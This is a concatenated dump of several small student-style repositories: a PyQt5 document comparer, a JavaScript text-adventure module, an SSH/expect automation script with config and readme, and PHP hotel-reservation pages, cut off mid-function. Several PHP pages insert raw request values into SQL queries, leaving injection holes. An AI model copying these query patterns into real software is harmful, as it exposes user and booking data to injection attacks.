print(comparison.text1_words) # print(comparison.text2_words) <file_sep>/DocCompareApp.py # -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'C:\Users\Andrey\Desktop\DocCompareApp.ui' # # Created by: PyQt5 UI code generator 5.11.3 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtWidgets from Driver.docCompare1 import DocCompare import time class Ui_MainWindow(object): def __init__(self): self.docPath1 = "" self.docPath2 = "" def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(599, 550) self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.pushButton = QtWidgets.QPushButton(self.centralwidget) self.pushButton.setGeometry(QtCore.QRect(230, 240, 75, 23)) self.pushButton.setObjectName("pushButton") self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget) self.pushButton_2.setGeometry(QtCore.QRect(40, 40, 141, 91)) self.pushButton_2.setObjectName("pushButton_2") self.label = QtWidgets.QLabel(self.centralwidget) self.label.setGeometry(QtCore.QRect(40, 140, 141, 61)) self.label.setText("") self.label.setObjectName("label") self.pushButton_3 = QtWidgets.QPushButton(self.centralwidget) self.pushButton_3.setGeometry(QtCore.QRect(350, 40, 141, 91)) self.pushButton_3.setObjectName("pushButton_3") self.label_2 = QtWidgets.QLabel(self.centralwidget) self.label_2.setGeometry(QtCore.QRect(350, 140, 141, 61)) self.label_2.setText("") self.label_2.setObjectName("label_2") self.listWidget = QtWidgets.QListWidget(self.centralwidget) self.listWidget.setGeometry(QtCore.QRect(40, 290, 461, 191)) self.listWidget.setObjectName("listWidget") MainWindow.setCentralWidget(self.centralwidget) self.menubar = QtWidgets.QMenuBar(MainWindow) self.menubar.setGeometry(QtCore.QRect(0, 0, 599, 21)) self.menubar.setObjectName("menubar") MainWindow.setMenuBar(self.menubar) self.statusbar = QtWidgets.QStatusBar(MainWindow) self.statusbar.setObjectName("statusbar") MainWindow.setStatusBar(self.statusbar) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) self.pushButton_2.clicked.connect(self.setDoc1) self.pushButton_3.clicked.connect(self.setDoc2) self.pushButton.clicked.connect(self.compare) def setDoc1(self): path, _ = QtWidgets.QFileDialog.getOpenFileName(None, "Select Document", "", "Document Files (*.txt *docx *doc)") self.docPath1 = path filename = path.split("/")[-1] self.label.setText(filename) def setDoc2(self): path, _ = QtWidgets.QFileDialog.getOpenFileName(None, "Select Document", "", "Document Files (*.txt *docx *doc)") self.docPath2 = path filename = path.split("/")[-1] self.label_2.setText(filename) def compare(self): self.listWidget.addItem("Comparison Started...") QtWidgets.QApplication.processEvents() comparison = DocCompare(self.docPath1, self.docPath2) start = time.time() comparison.run() end = time.time() value = comparison.lastComparison() value = round(value*100, 2) filename1 = self.label.text() filename2 = self.label_2.text() self.listWidget.addItem(str(filename2) + " matches " + (str(value)) + "% to "+str(filename1)) self.listWidget.addItem("Approximate Execution time " + str(round(end-start)) + " seconds") self.listWidget.scrollToBottom() def retranslateUi(self, MainWindow): _translate = QtCore.QCoreApplication.translate MainWindow.setWindowTitle(_translate("MainWindow", "Document Compare Tool")) self.pushButton.setText(_translate("MainWindow", "Compare")) self.pushButton_2.setText(_translate("MainWindow", "Select First Doc")) self.pushButton_3.setText(_translate("MainWindow", "Select Second Doc")) if __name__ == "__main__": import sys app = QtWidgets.QApplication(sys.argv) MainWindow = QtWidgets.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.show() sys.exit(app.exec_())
c0491b3040326964a785a7567f10694934395d5d
[ "Python" ]
2
Python
AndreySuvorov1234/CompareDocApp
266ac7dc671a7fa0bf498074ceeee2cb6cad1ace
da5d886b6b7e698cec87e46cff98b15bba317050
refs/heads/master
<file_sep>/** AUTHOR: <NAME> VERSION: 1.0 CREATED: 2-12-16 ASSIGNMENT: Text Adventure Scene Changer */ "use strict"; import FileIO from './FileIO.js'; export default class SceneChanger { constructor() { } selectScene(choice, counter){ let fileIO = new FileIO(); const CHOICE2 = 1; let scene; if (choice == true && counter == 0) { scene = "./data/ChoiceWhyHere.csv"; fileIO.pullSceneData(scene); } else if (choice == false && counter == 0){ scene = "./data/ChoiceRemainSilent.csv"; fileIO.pullSceneData(scene); } else if (choice == true && counter == CHOICE2){ scene = "./data/ChoiceLetsGo.csv"; fileIO.pullSceneData(scene); } else if (choice == false && counter == CHOICE2){ scene = "./data/ChoiceLetsStay.csv"; fileIO.pullSceneData(scene); } } sceneDecider (sceneNumber,fileData) { const SILENT = 0; const WHY_HERE = 1; const GO = 2; const STAY = 3; if (sceneNumber == SILENT) { this.changeScene1(fileData); } else if (sceneNumber == WHY_HERE) { this.changeScene2(fileData); } else if (sceneNumber == GO) { this.changeScene3(fileData); } else if (sceneNumber == STAY) { this.changeScene3(fileData); } } changeScene1(fileData){ const VOICE = 1; const SUBTITLE = 2; const BUTTON = 3; document.getElementById('voice').innerHTML = fileData[VOICE]; document.getElementById('intro').innerHTML = fileData[SUBTITLE]; document.getElementById('reply2').style.visibility = 'hidden'; document.getElementById('reply1').style.visibility = 'hidden'; } changeScene2 (fileData){ const VOICE = 1; const SUBTITLE = 2; const BUTTON1 = 3; const BUTTON2 = 4; document.getElementById('voice').innerHTML = fileData[VOICE]; document.getElementById('intro').innerHTML = fileData[SUBTITLE]; document.getElementById('reply1').value = fileData[BUTTON1]; document.getElementById('reply2').value = fileData[BUTTON2] } changeScene3 (fileData){ const VOICE = 1; const SUBTITLE = 2; document.getElementById('voice').innerHTML = fileData[VOICE]; document.getElementById('intro').innerHTML = fileData[SUBTITLE]; document.getElementById('reply2').style.visibility = 'hidden'; document.getElementById('reply1').style.visibility = 'hidden'; } changeScene3 (fileData){ const VOICE = 1; const SUBTITLE = 2; document.getElementById('voice').innerHTML = fileData[VOICE]; document.getElementById('intro').innerHTML = fileData[SUBTITLE]; document.getElementById('reply2').style.visibility = 'hidden'; document.getElementById('reply1').style.visibility = 'hidden'; } } <file_sep>/** AUTHOR: <NAME> VERSION: 1.0 CREATED: 2-12-16 ASSIGNMENT: Text Adventure Choice handler */ "use strict"; import SceneChanger from './SceneChanger.js'; export default class ChoiceHandler { constructor() { ChoiceHandler.counter = -1; } getReply() { let sceneChanger = new SceneChanger(); document.getElementById("reply1").addEventListener("click", function () { ChoiceHandler.counter++; console.log(ChoiceHandler.counter); let choice = true; sceneChanger.selectScene(choice, ChoiceHandler.counter); }); document.getElementById("reply2").addEventListener("click", function () { ChoiceHandler.counter++; let choice = false; sceneChanger.selectScene(choice, ChoiceHandler.counter); }); } }
35885206cdb42120500438d005e5255115825820
[ "JavaScript" ]
2
JavaScript
CommunistSasquatch/TextAdventure
a65f60635ac918a177a07f2825c7eb8f16577604
c433088e293f92888ed12e1583fea123a635cb3b
refs/heads/master
<repo_name>lys861205/work<file_sep>/readme.txt 文件cfg.ini配置说明 1 配置文件是供脚本ssh.sh使用的,读取信息供ssh连接远程进行操作 2 配置文件格式ini,内容 [server_1] ip=127.0.0.1 user1=test1 passwd1=<PASSWORD> user2=test2 passwd1=<PASSWORD> file=/home/ftotp/t.sh;/home/ftotp/t1.sh 如果有多个服务器,可以添加section, 格式如上。注意:section的索引从1开始,必须依次递增。 3 配置文件各项说明 [server_1]是section,下个必须是[server_2] 依次递增 ip ssh远程的主机ip地址 user1 ssh登录远程的用户名 passwd1 <PASSWORD> user2 ssh登录user1之后,sudo的用户 passwd2 <PASSWORD> file 远程主机上要执行的脚本(全路径),可以有多个,每个脚本之间用分号隔开 4 脚本执行完之后,会删除密码项,如; [server_1] ip=127.0.0.1 user1=test1 user2=test2 file=/home/ftotp/t.sh;/home/ftotp/t1.sh 下次执行之前,必须在user1下添加passwd1=******* 在user2下添加passwd2=******* <file_sep>/ssh.sh #!/bin/bash #当前目录 base_dir=`pwd` #配置文件 CONF=${base_dir}/cfg.ini SECTION=server #备份文件 BAK_CONF=${base_dir}/cfg_bak.ini #传入参数 文件名 #返回值 0,合法;其他值非法或出错 function check_syntax() { if [ ! -f $1 ];then return 1 fi ret=$(awk -F= 'BEGIN{valid=1} { #已经找到非法行,则一直略过处理 if(valid == 0) next #忽略空行 if(length($0) == 0) next #消除所有的空格 gsub(" |\t","",$0) #检测是否是注释行 head_char=substr($0,1,1) if (head_char != "#"){ #不是字段=值 形式的检测是否是块名 if( NF == 1){ b=substr($0,1,1) len=length($0) e=substr($0,len,1) if (b != "[" || e != "]"){ valid=0 } }else if( NF == 2){ #检测字段=值 的字段开头是否是[ b=substr($0,1,1) if (b == "["){ valid=0 } }else{ #存在多个=号分割的都非法 valid=0 } } } END{print valid}' $1) if [ $ret -eq 1 ];then return 0 else return 2 fi } #参数1 文件名 #参数2 块名 #参数3 字段名 #返回0,表示正确,且能输出字符串表示找到对应字段的值 #否则其他情况都表示未找到对应的字段或者是出错 function get_field_value() { if [ ! -f $1 ] || [ $# -ne 3 ];then return 1 fi blockname=$2 fieldname=$3 begin_block=0 end_block=0 cat $1 | while read line do if [ "X$line" = "X[$blockname]" ];then begin_block=1 continue fi if [ $begin_block -eq 1 ];then end_block=$(echo $line | awk 'BEGIN{ret=0} /^\[.*\]$/{ret=1} END{print ret}') if [ $end_block -eq 1 ];then #echo "end block" break fi need_ignore=$(echo $line | awk 'BEGIN{ret=0} /^#/{ret=1} /^$/{ret=1} END{print ret}') if [ $need_ignore -eq 1 ];then #echo "ignored line:" $line continue fi field=$(echo $line | awk -F= '{gsub("|\t","",$1); print $1}') value=$(echo $line | awk -F= '{gsub("|\t","",$2); print $2}') #echo "'$field':'$value'" if [ "X$fieldname" = "X$field" ];then #echo "result value:'$result'" echo $value break fi fi done return 0 } #脚本主要操作 function main_process() { #块名索引 index=1 #解析配置文件 while : do { #ip IP=$(get_field_value $CONF ${SECTION}_$index ip) if [ -z "$IP" ]; then echo "prase $CONF [${SECTION}_$index] ip empty or finish!" break fi #user1 USER1=$(get_field_value $CONF ${SECTION}_$index user1) if [ -z "$USER1" ]; then echo "prase $CONF [${SECTION}_$index] user1 empty!" break fi #passwd1 PASSWORD1=$(get_field_value $CONF ${SECTION}_$index passwd1) if [ -z "$PASSWORD1" ]; then echo "prase $CONF [${SECTION}_$index] passwd1 empty!" break fi #user2 USER2=$(get_field_value $CONF ${SECTION}_$index user2) if [ -z "$USER2" ]; then echo "prase $CONF [${SECTION}_$index] user2 empty!" break fi #passwd2 PASSWORD2=$(get_field_value $CONF ${SECTION}_$index passwd2) if [ -z "$PASSWORD2" ]; then echo "prase $CONF [${SECTION}_$index] passwd2 empty!" break fi #execute script file SCRIPTFILE=$(get_field_value $CONF ${SECTION}_$index file) if [ -z "$SCRIPTFILE" ]; then echo "prase $CONF [${SECTION}_$index] file empty!" break fi #索引加1 ((index++)) echo "===================ssh $IP start=================" ${base_dir}/ep_su.exp $IP $USER1 $PASSWORD1 $USER2 $PASSWORD2 "$SCRIPTFILE" echo "=================ssh $IP over====================" } done #删除passwd行 grep -i "^[^"passwd*"]" $CONF >> $BAK_CONF more $BAK_CONF > $CONF if [ $? -ne 0 ]; then echo "more $BAK_CONF > $CONF failed" fi rm -f $BAK_CONF } #读取配置文件 function read_conf() { #索引 idx=1 while : do echo "1" done } #检查文件合法性 check_syntax $CONF if [ $? -ne 0 ] ; then echo "Please check ${CONF} exists firstly!" else main_process fi <file_sep>/cfg.ini [server_1] ip=1270.0.0.1 user1=test1 passwd1=<PASSWORD> user2=test2 passwd1=<PASSWORD> file=/home/ftotp/t.sh;/home/ftotp/t1.sh
c9daf55c9a19806fe0f6cc26644d01896d9da9be
[ "INI", "Text", "Shell" ]
3
Text
lys861205/work
b8a9b71a5228222eee2b2afc44d13d65570c88c6
464b46aa12db49444cfc735a089aa4c47ee23f4b
refs/heads/master
<file_sep>package it.polito.tdp.flight.model; public class Route { private int routeId; private Airline airline; private Airport sourceAirport; private Airport destinationAirport; private String codeshare; private int stops; private String equipment; public Route(int routeId, Airline airline, Airport sourceAirport, Airport destinationAirport, String codeshare, int stops, String equipment) { super(); this.routeId = routeId; //voglio che al posto di questi id ci siano effettivamente gli oggetti //sostituisco con gli oggetti -> esegue su airline e su airport //cambio anche gli attributi della classe //questo non è piu una stringa ma un oggetto airline->cambiamo il tipo nel costruttore this.airline = airline; //elimino l'id che non ci serve iu dato che abbiamo l'oggetto //->lo eliminiamo anche dalla firma del costruttore //this.airlineId = airlineId; this.sourceAirport = sourceAirport; //this.sourceAirportId = sourceAirportId; this.destinationAirport = destinationAirport; //this.destinationAirportId = destinationAirportId; this.codeshare = codeshare; this.stops = stops; this.equipment = equipment; } public int getRouteId() { return routeId; } public void setRouteId(int routeId) { this.routeId = routeId; } public Airline getAirline() { return airline; } public void setAirline(Airline airline) { this.airline = airline; } public Airport getSourceAirport() { return sourceAirport; } public void setSourceAirport(Airport sourceAirport) { this.sourceAirport = sourceAirport; } public Airport getDestinationAirport() { return destinationAirport; } public void setDestinationAirport(Airport destinationAirport) { this.destinationAirport = destinationAirport; } public String getCodeshare() { return codeshare; } public void setCodeshare(String codeshare) { this.codeshare = codeshare; } public int getStops() { return stops; } public void setStops(int stops) { this.stops = stops; } public String getEquipment() { return equipment; } public void setEquipment(String equipment) { this.equipment = equipment; } @Override public int hashCode() { final int prime = 31; int result = 1; result = prime * result + routeId; return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (getClass() != obj.getClass()) return false; Route other = (Route) obj; if (routeId != other.routeId) return false; return true; } @Override public String toString() { return "Route [airline=" + airline + ", sourceAirport=" + sourceAirport + ", destinationAirport=" + destinationAirport + "]"; } }<file_sep>package it.polito.tdp.flight.model; import java.util.ArrayList; import java.util.List; import org.jgrapht.graph.SimpleDirectedWeightedGraph; import it.polito.tdp.flight.db.FlightDAO; public class Model { private FlightDAO fDao=null; //private SimpleDirectedWeightedGraph<Airport, > g; //creo le idMap per le liste List<Airline> airlines; List<Airport> airports; List<Route> routes; AirlineIdMap airlineIdMap; AirportIdMap airportIdMap; RouteIdMap routeIdMap; public Model() { fDao = new FlightDAO(); //le idMap si inizializzano prima delle liste airlineIdMap = new AirlineIdMap(); airportIdMap = new AirportIdMap(); routeIdMap = new RouteIdMap(); System.out.println("++++++"); airlines = fDao.getAllAirlines(airlineIdMap); System.out.println(airlines); airports = fDao.getAllAirports(airportIdMap); System.out.println(airports); //devo passargli anche le altre idMap poichè deve creare collegamenti incrociati routes = fDao.getAllRoutes(airlineIdMap, airportIdMap, routeIdMap); System.out.println(routes); } }
eb9c0a5bdcebd3f134a091cc79c7b01eb8a78ea7
[ "Java" ]
2
Java
MatildeFrancois/Flights
fa1e04b796c5b8b0b99e1d470a67ad69e57ce51b
24fafeb0bbebc20ab6de65cf0c334378dbea1baf
refs/heads/master
<repo_name>kirk-zZ/SIA<file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/android/signup.php <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>iHotel</title> <link rel="stylesheet" href="css/fonts.css"> <link rel="stylesheet" href="css/jquery.mobile-1.4.5.min.css"> <link rel="stylesheet" href="css/jqm-demos.css"> <script src="js/jquery.js"></script> <script src="js/index.js"></script> <script src="js/jquery.mobile-1.4.5.min.js"></script> <script type="text/javascript" src="http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.core.min.js"></script> <script type="text/javascript" src="http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.mode.calbox.min.js"></script> <script type="text/javascript" src=" http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.mode.datebox.min.js"></script> <link rel="stylesheet" type="text/css" href="http://dev.jtsage.com/cdn/datebox/latest/jqm-datebox.min.css" /> <script type="text/javascript" charset="utf-8" src="cordova.js"></script> <script type="text/javascript" charset="utf-8" src="js/video.js"></script> <script type="text/javascript"> function init(){ document.addEventListener( "deviceready", console.log('ready'), true); } function playVideo(vidUrl) { window.plugins.videoPlayer.play(vidUrl); //window.plugins.videoPlayer.play("file:///android_asset/www/video/cpu.mp4"); } </script> <?php include('conn.php'); if(isset($_POST['signup'])) { $fname = $_POST['fname']; $mname = $_POST['mname']; $lname = $_POST['lname']; $address = $_POST['address']; $contact = $_POST['contact']; $company = $_POST['company']; $designation = $_POST['designation']; $email = $_POST['email']; $bdate = $_POST['bdate']; $uname = $_POST['uname']; $pass = <PASSWORD>($_POST['pass']); $q = mysqli_query($con, " insert into tblcustomer ( fname, mname, lname, address, contact, email, company, designation, dob, username, password ) values ( '$fname', '$mname', '$lname', '$address', '$contact', '$email', '$company', '$designation', '$bdate', '$uname', '$pass' )"); if($q == true) { header("location: room.php"); } } ?> </head> <body> <div data-role="page" class="jqm-demos"> <div data-role="header" class="jqm-header"> <h2><a href="index.php" title="jQuery Mobile Demos home"><img src="img/jquery-logo.png" alt="jQuery Mobile"></a></h2> <a href="index.php" class="jqm-search-link ui-btn ui-btn-icon-notext ui-corner-all ui-icon-arrow-l ui-nodisc-icon ui-alt-icon ui-btn-left">Search</a> </div><!-- /header --> <div role="main" class="ui-content"> <form class="form-inline" method="post" action='<?php echo $_SERVER['REQUEST_URI'];?>'>       <input type="text" data-clear-btn="true" name="fname" id="text-1" placeholder="<NAME>"> <input type="text" data-clear-btn="true" name="mname" id="text-1" placeholder="Middle Name"> <input type="text" data-clear-btn="true" name="lname" id="text-1" placeholder="Last Name"> <input type="text" data-clear-btn="true" name="address" id="text-1" placeholder="Address"> <input type="text" data-clear-btn="true" name="contact" id="text-1" placeholder="Contact"> <input type="email" data-clear-btn="true" name="email" id="text-1" placeholder="Email"> <input type="text" data-clear-btn="true" name="company" id="text-1" placeholder="Company"> <input type="text" data-clear-btn="true" name="designation" id="text-1" placeholder="Designation"> <input type="date" data-clear-btn="true" name="bdate" id="text-1"> <input type="text" data-clear-btn="true" name="uname" id="text-1" placeholder="Username"> <input type="<PASSWORD>" data-clear-btn="true" name="pass" id="text-1" placeholder="<PASSWORD>"> <button type="submit" class="ui-btn ui-btn-b" name="signup" >Signup</button> <center> <a href="login.php" style="text-decoration: none;">Already have an account? Login Now!</a><br> </center> </form> <?php if(isset($notif)) echo $notif;?> <div data-role="footer" data-position="fixed" data-tap-toggle="false" class="jqm-footer"> <p>Capstone Project </p> <p>Copyright 2015 </p> </div><!-- /footer --> </div> </div><!-- /page --> </body> </html><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/rooms.php <?php include('include/header.php'); ?> <?php include('include/sidebar.php'); ?> <?php include('model/model_room.php'); ?> <title>Seats</title> <?php $data = new Data_room(); if(isset($_GET['delete'])){ $id = $_GET['delete']; $data->delete_room($id,$con); }else if(isset($_POST['delete'])){ $ids = isset($_POST['check']) ? $_POST['check']:null; $data->delete_multiple($ids, $con); } $room = $data->get_room($con); ?> <div class="span9"> <div class="content"> <div class="module message"> <div class="module-head"> <h3>Seat Management</h3> </div> <div class="module-option clearfix"> <div class="pull-left"> Filter : &nbsp; <div class="btn-group"> <button class="btn">All</button> <button class="btn dropdown-toggle" data-toggle="dropdown"> <span class="caret"></span> </button> <ul class="dropdown-menu"> <li><a href="#">All</a></li> <li><a href="#">Available</a></li> <li><a href="#">Reserved</a></li> <li><a href="#">Occupied</a></li> <li class="divider"></li> <li><a href="#">Under Renovation</a></li> </ul> </div> </div> <div class="pull-right"> <a href="add_room.php" title="New Room" class="btn btn-primary">Add Room</a> <button type="button" data-toggle="modal" data-target="#delete_modal" class="btn btn-danger" name="delete_room">Delete</button> </div> </div> <div class="module-body table"> <form method="POST"> <?php include('modal/modal_confirm.php'); ?> <table cellpadding="0" cellspacing="0" border="0" class="datatable-1 table table-bordered table-striped display" width="100%"> <thead> <tr> <th></th> <th>Room</th> <th>Type</th> <th>Capacity</th> <th>Rate</th> <th>Status</th> </tr> </thead> <tbody> <?php while($row = $room->fetch_object()): ?> <tr class="gradeX"> <td><input type="checkbox" class="inbox-checkbox" name="check[]" value="<?php echo $row->id;?>"></td> <td><a href="edit_room.php?id=<?php echo $row->id;?>"><?php echo $row->name;?></a></td> <td> <?php $type = $data->get_type_name($row->type,$con);?> <?php echo $type->name.' ('.$type->type.')'; ?> </td> <td><?php echo $row->capacity;?></td> <td><?php echo $row->rate;?> <?php if($type->type=='Dorm'){echo '/ head';}else{ echo '/ night';} ?> </td> <td> <?php $data->check_room($row->id,$con); ?> <?php if($row->status==1) echo '<font style="color:green;">Available</font>'; ?> <?php if($row->status==2) echo '<font style="color:red;">Occupied</font>'; ?> <?php if($row->status==3) echo '<font style="color:orange;">Reserved</font>'; ?> <?php if($row->status==4) echo '<font style="color:blue;">Under Renovation</font>'; ?> </td> </tr> <?php endwhile; ?> </tbody> </table> </form> </div> <div class="module-foot"> </div> </div> </div><!--/.content--> </div><!--/.span9--> </div> </div><!--/.container--> </div><!--/.wrapper--> <?php include('include/footer.php'); ?> <script type="text/javascript"> <?php if(isset($_GET['delete'])) echo '$.jGrowl("Deleted Successfully!");'; ?> <?php if(isset($_POST['delete'])) echo '$.jGrowl("Deleted Successfully!");'; ?> </script> <script> $(document).ready(function() { $('.datatable-1').dataTable(); $('.dataTables_paginate').addClass("btn-group datatable-pagination"); $('.dataTables_paginate > a').wrapInner('<span />'); $('.dataTables_paginate > a:first-child').append('<i class="icon-chevron-left shaded"></i>'); $('.dataTables_paginate > a:last-child').append('<i class="icon-chevron-right shaded"></i>'); } ); </script> </body> </html><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/update_others.php <?php $id = $_POST['id']; include('../conn.php'); $addon = $con->query("select * from tblothers where id=$id")->fetch_object(); $rate = $addon->rate; $billingID = $addon->billingID; $others = $con->query("select * from tblbilling where id=$billingID")->fetch_object()->others; $others = $others - $rate; $con->query("update tblbilling set others='$others' where id=$billingID"); $total = calculate($billingID,$con); echo number_format($total); $con->query("delete from tblothers where id=$id"); function calculate($id,$con){ $q = "select * from tblbilling where id=$id"; $r = $con->query($q)->fetch_object(); $others = $r->others; $discount = $r->discount; $rate = $r->roomrate; $night = $r->num_night; $pax = $r->num_pax; if($pax==0){ $pax = 1; } $total = (($rate * $night) * $pax) + $others; $less = ($discount / 100); $less = $total * $less; $total = $total - $less; $q = "update tblbilling set total=$total where id=$id"; $con->query($q); return $total; } ?><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/reservation_details.php <?php include('../conn.php'); $id = $_POST['id']; $q = "SELECT tblroom.name, tblcustomer.fname, tblcustomer.lname, tblcustomer.contact, tblcustomer.address, tblbilling.roomrate, tblbilling.num_night, tblbilling.num_pax FROM tblreservation LEFT JOIN tblcustomer on tblreservation.customerID=tblcustomer.id LEFT JOIN tblroom on tblreservation.roomID=tblroom.id LEFT JOIN tblbilling on tblreservation.id=tblbilling.reservationID WHERE tblreservation.id=$id"; $row = $con->query($q)->fetch_object(); ?> <div class="form-horizontal row-fluid"> <div class="control-group"> <label class="control-label">Room</label> <div class="controls"> <input type="text" value="<?php echo $row->name;?>" class="span8" disabled> </div> </div> <div class="control-group"> <label class="control-label">Room Rate</label> <div class="controls"> <input type="text" value="Php <?php echo $row->roomrate;?>" class="span8" disabled> </div> </div> <div class="control-group"> <label class="control-label">No. of Night(s)</label> <div class="controls"> <input type="text" value="<?php echo $row->num_night;?>" class="span8" disabled> </div> </div> <div class="control-group"> <label class="control-label">No. of Pax</label> <div class="controls"> <input type="text" value="<?php echo $row->num_pax;?>" class="span8" disabled> </div> </div> <div class="control-group"> <label class="control-label">Customer</label> <div class="controls"> <?php $fullname = $row->fname.' '.$row->lname; ?> <input type="text" value="<?php echo $fullname;?>" class="span8" disabled> </div> </div> <div class="control-group"> <label class="control-label">Contact</label> <div class="controls"> <input type="text" value="<?php echo $row->contact;?>" class="span8" disabled> </div> </div> <div class="control-group"> <label class="control-label">Address</label> <div class="controls"> <input type="text" value="<?php echo $row->address;?>" class="span8" disabled> </div> </div> </div><file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/android/reserve.php <?php include('conn.php'); if(!isset($_SESSION['user'])) { header("location:index.php"); } else { ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>iHotel</title> <link rel="stylesheet" href="css/fonts.css"> <link rel="stylesheet" href="css/table.css"> <link rel="stylesheet" href="css/jquery.mobile-1.4.5.min.css"> <link rel="stylesheet" href="css/jqm-demos.css"> <script src="js/jquery.js"></script> <script src="js/index.js"></script> <script src="js/jquery.mobile-1.4.5.min.js"></script> <script src="cordova.js"></script> </head> <body> <script type="text/javascript"> function pload(){ location.reload(); } </script> <div data-role="page" class="jqm-demos"> <div data-role="header" class="jqm-header"> <h2><a href="index.php"><img src="img/jquery-logo.png" alt="jQuery Mobile"></a></h2> </div><!-- /header --> <div role="main" class="ui-content"> <p>Hotel Reservation Android App</p> <?php if(isset($_POST['yes'])) { $qd = mysqli_query($con, "delete from tblbilling where reservationID = '".$_POST['hidden1']."' "); $qd2 = mysqli_query($con, "delete from tblreservation where id = '".$_POST['hidden1']."' "); header("Location: reserve.php"); } ?> <?php $q1 = mysqli_query($con,"SELECT * from tblroom"); while($row = mysqli_fetch_array($q1)) { $id = $row['id']; $q = mysqli_query($con,"SELECT * from tblroompicture where roomID = '$id' "); $row1 = mysqli_fetch_array($q); $roomid1 = $row1['roomID']; echo ' <form method="post"> <ul data-role="listview" data-inset="true" data-count-theme="b"> <li> <a href="details.php?roomid='.$roomid1.'" data-ajax="false"> <img src="../admin/images/rooms/'.basename($row1['path']).'" style="width:100%; height:100%;"> <h2>'.$row['name'].'</h2> <p>Max Person: <b>'.$row['capacity'].'</b></p> <span class="ui-li-count">P '.$row['rate'].'</span> <inpu type="hidden" name="hidden_room" value="1"> </a> </li> </ul> </form>'; } ?> <div data-role="footer" data-position="fixed" data-tap-toggle="false" class="jqm-footer"> <p>Capstone Project </p> <p>Copyright 2015</p> </div><!-- /footer --> </div> </div><!-- /page --> </body> </html> <?php } ?> <file_sep>/BSIT-3B SIA-20210404T045124Z-001/BSIT-3B SIA/SIA - Reservation/Resources/sia-reservation/admin/model/model_billing.php <?php class Data_room { function __construct(){ } function get_billing($con){ $q = "select * from tblbilling where status='Confirmed'"; $r = $con->query($q); return $r; } function get_paid($con){ $q = "select * from tblbilling where status='Paid'"; $r = $con->query($q); return $r; } function get_room_byID($id, $con){ $q = "select * from tblroom where id=$id"; $r = $con->query($q); $result = $r->fetch_object()->name; return $result; } function get_reservation($id,$con){ $q = "select * from tblreservation where id=$id"; $r = $con->query($q)->fetch_object(); $room = $this->get_room_byID($r->roomID,$con); $name = $this->get_customer_byID($r->customerID,$con); $dateFrom = date('M d, Y',strtotime($r->dateFrom)); $dateTo = date('M d, Y',strtotime($r->dateTo)); $result = 'Room: '.$room.'<br>Customer: '.$name.'<br>'.$dateFrom.'-'.$dateTo; return $result; } function get_customer_byID($id,$con){ $q = "select * from tblcustomer where id=$id"; $r = $con->query($q)->fetch_object(); $fullname = $r->fname.' '.$r->lname; return $fullname; } function delete_multiple($ids,$con){ $i = count($ids); for($c=0; $c < $i; $c++){ $id = $ids[$c]; $this->check_room($id,$con); $q = "delete from tblreservation where id=$id"; $con->query($q); $q = "delete from tblbilling where reservationid=$id"; $con->query($q); } } function update($post,$con){ $reservationID = $post['reservationID']; $dateFrom = $post['dateFrom']; $roomID = $post['roomID']!=0 ? $post['roomID']:$post['roomTMP']; $dateTo = $post['dateTo']; $num_pax = $post['num_pax']; $billingID = $post['billingID']; $discount = $post['discount']; $tmp = strtotime($dateFrom); $dateF = date('Y-m-d',$tmp); $dateFrom = date_create($dateF); $tmp = strtotime($dateTo); $dateT = date('Y-m-d',$tmp); $dateTo = date_create($dateT); $num_night = date_diff($dateFrom,$dateTo); $night = $num_night->format('%d'); $roomrate = $con->query("select * from tblroom where id=$roomID")->fetch_object()->rate; $q = "update tblreservation set roomID = $roomID, dateTo = '$dateT' where id=$reservationID"; $con->query($q); $q = "update tblbilling set roomrate = $roomrate, num_night = $night, num_pax = '$num_pax', discount = $discount where reservationID = $reservationID"; $con->query($q); if($post['roomID']!=0){ $roomTMP = $post['roomTMP']; $con->query("update tblroom set status=1 where id=$roomTMP"); $con->query("update tblroom set status=3 where id=$roomID"); } $id = $post['billingID']; $this->calculate($id,$con); } function update_addon($post,$con){ $id = $post['billingID']; $name = $post['name']; $rate = $post['rate']; $con->query("insert into tblothers values(null,$id,'$name','$rate')"); $others = $con->query("select * from tblbilling where id=$id")->fetch_object()->others; $others = $others + $rate; $con->query("update tblbilling set others='$others' where id=$id"); $this->calculate($id,$con); } function get_addon($id,$con){ return $con->query("select * from tblothers where billingID=$id"); } function update_discount($post,$con){ $discount = $post['discount']; $id = $post['billingID']; $q = "update tblbilling set discount=$discount where id=$id"; $con->query($q); $this->calculate($id,$con); } function update_checkout($post,$con){ $id = $post['billingID']; $q = "update tblreservation set dateFrom = '0000-00-00', dateTo = '0000-00-00' where id=$id"; $con->query($q); $this->calculate($id,$con); } function update_payment($post,$con){ $id = $post['billingID']; $q = "update tblbilling set status='Paid' where id=$id"; $con->query($q); $q = "SELECT tblroom.id FROM tblbilling LEFT JOIN tblreservation on tblbilling.reservationID=tblreservation.id left JOIN tblroom on tblreservation.roomID=tblroom.id WHERE tblbilling.id=$id"; } function update_night($post,$con){ $id = $post['billingID']; $num_night = $post['num_night']; $q = "update tblbilling set num_night=$num_night where id=$id"; $con->query($q); $this->calculate($id,$con); } function calculate($id,$con){ $q = "select * from tblbilling where id=$id"; $r 